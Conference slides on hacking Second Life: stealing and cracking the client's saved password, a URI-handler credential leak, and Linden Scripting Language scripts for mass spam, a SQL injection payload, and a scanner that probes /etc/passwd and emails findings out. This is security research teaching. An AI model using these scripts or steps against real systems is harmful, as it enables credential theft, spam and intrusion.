Hacking SecondLife™

Michael Thumann
Disclaimer

Everything you are about to see, hear, read and experience is for educational purposes only. No warranties or guarantees implied or otherwise are in effect. Use of these tools, techniques and technologies are at your own risk.
#whoami

- **Head of Research & Chief Security Officer, ERNW GmbH**

- **Talks and Publications:**
  - “Hacking the Cisco NAC Framework”, Sector, Toronto, November 2007
  - “NAC@ACK”, Blackhat-USA, Las Vegas, 2007
  - “NAC@ACK”, Blackhat-Europe, Amsterdam, 2007

- **What I like to do**
  - Breaking things ;-) and all that hacking ninjitsu
  - Diving (you would be surprised what IT-Security lessons you can learn from diving)

- **Contact Details:**
  - Email: mthumann@ernw.de
  - Web: http://www.ernw.de
#whois ERNW GmbH

- Founded in 2001
- Based in Heidelberg, Germany (+ small office in Lisbon, PT)
- Network Consulting with a dedicated focus on InfoSec
- Current force level: 15 employees
- Key fields of activity:
  - Audit/Penetration-Testing
  - Risk-Evaluation & -Management, Security Management
  - Security Research
- Our customers: banks, federal agencies, internet providers/carriers, large enterprises
Agenda

- Part 1 – Why to hack Online Games
- Part 2 – SecondLife™ Architecture
- Part 3 – Hacking the Game
- Part 4 – Attacks from the Virtual World
- Part 5 – Showtime
Part 1 – Why to hack Online Games
Why to hack Online Games

- Cheating is much more easier than spending long time to reach the next level, earning points, money or whatever
- Because watching tv or hacking yet another web server is boring
- It’s fun
- To show that we can do it
- To give cool talks, you will see it will be pretty cool
- Because there are marketplaces where you make real money out of it and I would like to be rich *justkidding*
- And to improve security, because the threats are real and exploiting online games gets more common
Why SecondLife™?

- Many people are playing SecondLife™
- There’s a Scripting Language in SecondLife™, do you know LSL (Linden Scripting Language)?
- Because you can attack real world systems out of the virtual world
- Identity Theft looks sooo pretty easy in SecondLife™
- Identity Theft gives you all their damned Linden Dollars
- Current change rate L$ 230 = US$ 1 😊
Part 2 – SecondLife™ Architecture
SecondLife™ Components

- **Login Server**: Handles authentication, determines login region and finds corresponding Simulator

- **User Server**: Handles instant messaging sessions

- **Data Server**: Handles connections to the central database, log database, inventory database and search database

- **Space Server**: Handles routing of messages based on grid locations. Simulators register here and get information about their neighbors
SecondLife™ Components

- Central Database: Inventory, Billing etc.
- Simulator: Each simulator process simulates one 256x256 meter region of the virtual world
- Grid: The virtual world based on simulators
- Viewer: The Game Client
- Avatar: Your Second Life Character
Part 3 – Hacking the Game
Threat Analysis with STRIDE

- Spoofing Identity
- Tampering with Data
- Repudiation
- Information Disclosure
- Denial of Service
- Elevation of Privileges
Interesting Points of Attack

The Grid

Second Life Simulator
Second Life Simulator
Second Life Simulator
Second Life Simulator

Second Life Simulator
Second Life Simulator
Second Life Simulator
Second Life Simulator

Central DB Server
Central DB Server
Central DB Server
Central DB Server

Data Server
User Server
Space Server

Login Server

SL Viewer

Hacking SecondLife™ by Michael Thumann 2/24/08
Threat Analysis with STRIDE

1. Spoofing Identity (Identity Theft) / Tampering with Data (Cheating)
2. Spoofing Identity (Identity Theft)
3. Repudiation (Billing) / Tampering with Data (increase your L$)
The Viewer

- Let’s focus on the viewer, cause attacking Linden Lab’s Systems is illegal 😊
- Luckily the source is available (the viewer is Open Source), so we can find out how the stuff is working
- And we can modify everything we want and build our own client 😊
- So what can we do: Identity Theft and Cheating
The Viewer – Identity Theft

- We need Username and Password
- You can find everything you want in “\Documents and Settings\<WinUser>\Application Data\SecondLife”
- There’s a directory named “firstname_lastname” of your SL account
- If the password is saved, you can find it in the subdirectory “user_settings” in the file “password.dat”
- … and you need the MAC Address of the victim system too (you still remember commands like “ipconfig /all” and how to enter them at a commandline 😊 😄 🎉)
Password Encryption

MAC Address

MD5 Hash of password

Linden Lab XOR Cipher

Saved in password.dat if “Remember“ is enabled
Password Cracking

- The Viewer uses standard MD5
- The MD5 Hash is xored with the MAC Address
- Time to build a SL password cracker?
- Or just use tools like md5crack or mdcrack 😊
Security hole in Second Life client

Security blogger Petko Petkov has reported a vulnerability in the Second Life online gaming client. Attackers can apparently exploit it to obtain user login credentials for the gaming site. When installed, the client registers the URI secondlife://. This URI can then be used to transfer other parameters when the client is launched. When the following line is embedded in a website, attackers can get the client to send login credentials in an XML form without being prompted:

```html
```

An XML document transmitted by the Second Life client contains a login name and user password, both of which are sent as an MD5 hash. The credentials can be recovered by an attacker, for example by using Rainbow tables which are readily available online. But Petkov points out that this process is usually unnecessary. The hash alone generally suffices to login at Second Life. He says that the password is only needed to use other Second Life services. Victims need only visit to a specially crafted website or open an HTML e-mail for the attack to succeed. There is no solution for this vulnerability; un-registering the URI should help, though, as a workaround, and gamers should of course ensure their Second Life login is completely different from their computer account credentials.

It remains to be seen what real use criminals can make of this login data. Probably the most lucrative option would be to clean out a victim's virtual Linden dollar account. Currently, 1,000 Linden dollars are worth 3.5 real-world US dollars. On the other hand, it will probably be difficult to withdraw large amounts because there is a cap on exchanges depending on how long a user has been playing. At any rate, few players are said to have more than 250,000 Linden dollars, which only amounts to around UK£430.
Cheating – Main Goals

- Try to find out where the inventory is located and if you are able to modify it (change your amount of L$)
- Find any kind of magic key sequences built in like typing “wanttoberich” and get rich 😊 or getting into “GodMode” (I am Avatar Allmighty) that is reserved for Linden employees
- Automate stupid and boring things while playing (not relevant at a first glance, but what about an Avatar that automatically builds objects in a sandbox area and then tries to sell them to other people?)
Cheating – What to do

- Reverse engineer the game client (but why, we have the source code 😊)
- Look at different memory locations for interesting Data
- Sniff the network traffic
- Modify the Game Client to fit your needs (add some nice logging capabilities for example)
- Attack the game environment (illegal !!!)
Cheating – Memory
Cheating – Sniffing
The Viewer – 1st Conclusion

- I don’t say that SL is secure!!!
- At least the developers spend some of their time to audit the source code automatically using the tool flawfinder
- The password, if saved, is encrypted with a “key” from the user system
- Important Data is stored in the Central Database and not on the viewer system, so it’s not subject to tampering
- Patching of the viewer is enforced by Linden Labs (that kicked my password stealing demo, sorry guys)
- I have seen worse things
The environment uses Apache and Squid on Debian Linux (sounds good, if you still believe that Linux is secure)
Reverse proxy concepts are used
Login is done via HTTPS
Environment

https://66.150.244.178/favicon.ico

GET /favicon.ico HTTP/1.0
Host: 66.150.244.178
...
Connection: keep-alive

HTTP/1.x 404 Not Found
Date: Sat, 13 Oct 2007 03:28:32 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) mod_auth_kerb/5.0-rc6 DAV/2 SVN/1.4.2 mod_jk2/2.0.4 mod_ssl/2.0.54 OpenSSL/0.9.7e mod_perl/1.999.21 Perl/v5.8.4
...
X-Cache: MISS from login7.agni.lindenlab.com
X-Cache-Lookup: MISS from login7.agni.lindenlab.com:80
Via: 1.0 login7.agni.lindenlab.com:80 (squid/2.6.STABLE12)
Does this server look secure?
### Vulnerabilities

<table>
<thead>
<tr>
<th>Vendor</th>
<th>LINDEN RESEARCH, INC.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Title</td>
<td>Second Life</td>
</tr>
<tr>
<td>Version</td>
<td>Select Version</td>
</tr>
</tbody>
</table>

**Search by CVE**

| CVE:            | submit button         |

No matching vulnerabilities found
Conclusion

- Communication is secured with SSL
- The server installation looks like a default installation
- From my point of view the servers are not hardened in any way
- I couldn’t look deeper because my “Get out of jail” card was missing 😊
Part 4 – Attacks from the Virtual World
SecondLife™ Virtual Attacks

- LSL (Linden Scripting Language) is at hand 😊
- And there are lots of interesting functions from an attackers point of view
- What about sending spam?
- What about attacking real www servers from the virtual world?
- What about complex hacker tools developed in LSL?
LSL Functions

- `llEmail(recipient, subject, message)`
- `llHTTPRequest(url, parameter, body)`
- `llLoadURL(avatar_id, message, url)`
- And there are even XML-RPC Functions that can communicate with the outside world
Sending Spam

- Create text file with email addresses on a web server that you own 😊
- Download file with LSL IIHTTPRequest within SL and parse the response
- Send Spam to each email address
Sending Spam – Example Script

```plaintext
default
{
  state_entry()
  {
    http_request_id=llHTTPRequest(URL+"/sldemo.txt", [HTTP_METHOD, "GET"],"");
  }
}

touch_start(integer total_number)
{
  for(; i<llGetListLength(my_list)+1; ++i){
    llEmail(llList2String(my_list,i),"SL Spam","Mine is longer than yours ;-)");
  }
}

http_response(key request_id,integer status,list metadata,string body)
{
  if ( request_id == http_request_id )
  {
    my_list = llParseString2List(body,";",[]);
  }
}
```
Attacking real www server

- Ok, we can send HTTP Requests 😊
- So there’s SQL Injection
- … and Cross Site Scripting
- … and Web Defacement with HTTP PUT
- You can do almost everything
SQL Injection in Query String

default
{
    state_entry()
    {
        http_request_id=llHTTPRequest(URL+"/sldemo.aspx?
            user=sldemo';DROP Table;--", [HTTP_METHOD, "GET"],"");
    }

    touch_start(integer total_number)
    {
        llSay(0,"You're owned!");
    }

    http_response(key request_id, integer status, list metadata, string body)
    {
    }
}
Hacker Tools

- You can build complex hacker tools with LSL
- Think of a web scanner like nikto build with LSL, emailing all the findings to an anonymous email account
- Let’s call it slikto 😊
list scanlist = ["/index.html", "/sl.html", "/login.html", "/etc/passwd", "/etc/sshd.conf", "/var/log/syslog"]; list resp_id = []; 

state_entry() 
{ 
    for (; i < max; i++) 
    { 
        http_request_id = llHTTPRequest(URL + llList2String(scanlist, i), [HTTP_METHOD, "GET"], "test"); 
        resp_id += [http_request_id]; 
    } 
} 

http_response(key request_id, integer status, list metadata, string body) 
{ 
    for (; j < max; j++) 
    { 
        if (request_id == llList2Key(resp_id, j)) 
        { 
            if (status == 200) 
            { 
                llEmail("mlthumann@ids-guide.de", "FOUND!", llList2String(scanlist, j)); 
            } 
        } 
    } 
}
I know, Slikto needs some improvements, but hey guys, it’s beta software

Use llHTTPRequest to download a database from a web server containing all tests

Implement more reliant checks of the results (think of customized error pages) like parsing the body of the response

But again, sorry guys, Slikto won’t be released to the public
SecondLife™ Virtual Attacks

- And there’s even more
- Phishing attacks
- Changing the appearance of your avatar (on my 1st visit in SecondLife™ I touched everything *bg* and looked like a monster afterwards)
Realistic Attacks?

- Every Object and Script has an owner and a creator that can be tracked.
- Avatars are for free and do you think these people are using their real names? I don’t 😊!
- There are Sandbox Areas where you can build objects, develop scripts and find other people that are curious and touch everything, but Sandboxes are cleaned after 5 hours.
- Do you remember the automated Avatar, selling objects with scripts attached 😁?
- In Real life we call that bots.
Final Conclusion

- Exploiting Online Games gets more common and SL is just an example
- There’s a really big WoW Community and also Online Gambling like Poker gets more and more attention
- Online Games are about making money, so that’s a growing marketplace
- Where money is made, you also find cheaters, criminals and hackers
- Hacking Games is NOT just fun, I think it will also become a new field of customers for Security Professionals, so take this talk a little bit more serious
Further readings

- Thanks to Greg for some inspiration and for signing my personal copy 😊
Thank’s for your patience

Time left for `questions & answers`?

You can always drop me a note at:

mthumann@ernw.de